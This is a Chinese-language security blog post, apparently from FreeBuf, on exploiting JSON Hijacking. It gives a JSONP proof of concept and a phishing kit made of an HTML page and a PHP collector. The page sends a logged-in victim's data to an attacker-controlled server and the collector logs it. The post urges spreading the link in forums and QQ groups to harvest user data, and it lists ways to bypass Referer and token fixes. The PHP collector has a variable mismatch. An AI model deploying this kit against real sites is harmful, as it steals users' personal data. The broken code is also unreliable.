小學生都會挖掘的JSON Hijacking實戰利用
前言
JSON Hijacking漏洞的詳細利用,有點類似與CSRF,不過原理利用方式不同,在這邊文章我著重講解json跨域劫持的利用環境搭建與方式。
0×01漏洞的挖掘
一般挖掘的過程中,burpsuite代理的History做尋找,過濾多餘不可能存在漏洞的一些連結,如下圖所示:
我們在返回包中json格式發現瞭如下的敏感資訊(使用者Id,使用者名稱,使用者手機號碼)。
0×02漏洞的證明之poc
提交漏洞,poc在眾測時要爭分奪秒,所以這邊用了最精簡的一個POC。
假如返回的資料為:
txf({“data”:{“name”:”唐曉峰”}});
<html> <head> <script> function txf(a){ alert(a.data.name); } </script> <script src=http://***.***.**/wm/User/getUserInfo?callback=txf></script> </body> </html>
即可如下彈窗:
0×03漏洞的利用之釣魚
1.準備一臺web伺服器,我直接phpstudy搭的。
附上伺服器端的程式碼
json.php
<?php $nickname=$_GET['name']; $fp = fopen('info.txt','a'); $flag = fwrite($fp, "名字:".$name."\r\n"); ?><html>
釣魚.html
<head> <title>txf</title> <script> var xmlhttp; function txf(a) { xmlhttp=new XMLHttpRequest() var x="http://***.***.***/json.php?name="+a.data.name; xmlhttp.open("GET", x, true); xmlhttp.send(); } </script>> <script src=http://***.***.***?callback=txf></script> </head> <body> <textarea>釣魚啦,傻瓜</textarea>> </body> </html>
把釣魚連結http://***.***.***/釣魚.html發給該網站已登陸的使用者,如論壇,社群QQ群,社群貼吧等,服務端即可獲取到大量使用者敏感資料。
這邊以hackone的一個專案為例:
0×04漏洞的修復與繞過
因為這個例子是小夥伴發過來的還沒修復,所以都脫敏了,我們再從開發修復的角度去思考如何繞過修復。
1.Referer白名單
子域名繞過,檔名繞過,空Referer繞過
2. 增加token認證
token足夠複雜或者服務端加密,我們無法繞過,如果token很簡單,如純數字,我們可以嘗試遍歷繞過
3.介面禁用
無敵的操作,無法繞過
總結:
非常有意思的一個劫持,以前沒有利用過,只是知道有這麼個東西,一般眾測或者專案上遇到我都是直接截圖,申明一波敏感資訊洩露,然後就結束了,很低危,這次實戰利用之後,稍微提高了一點逼格。
*本文作者:zhukaiang7,轉載請註明來自FreeBuf.COM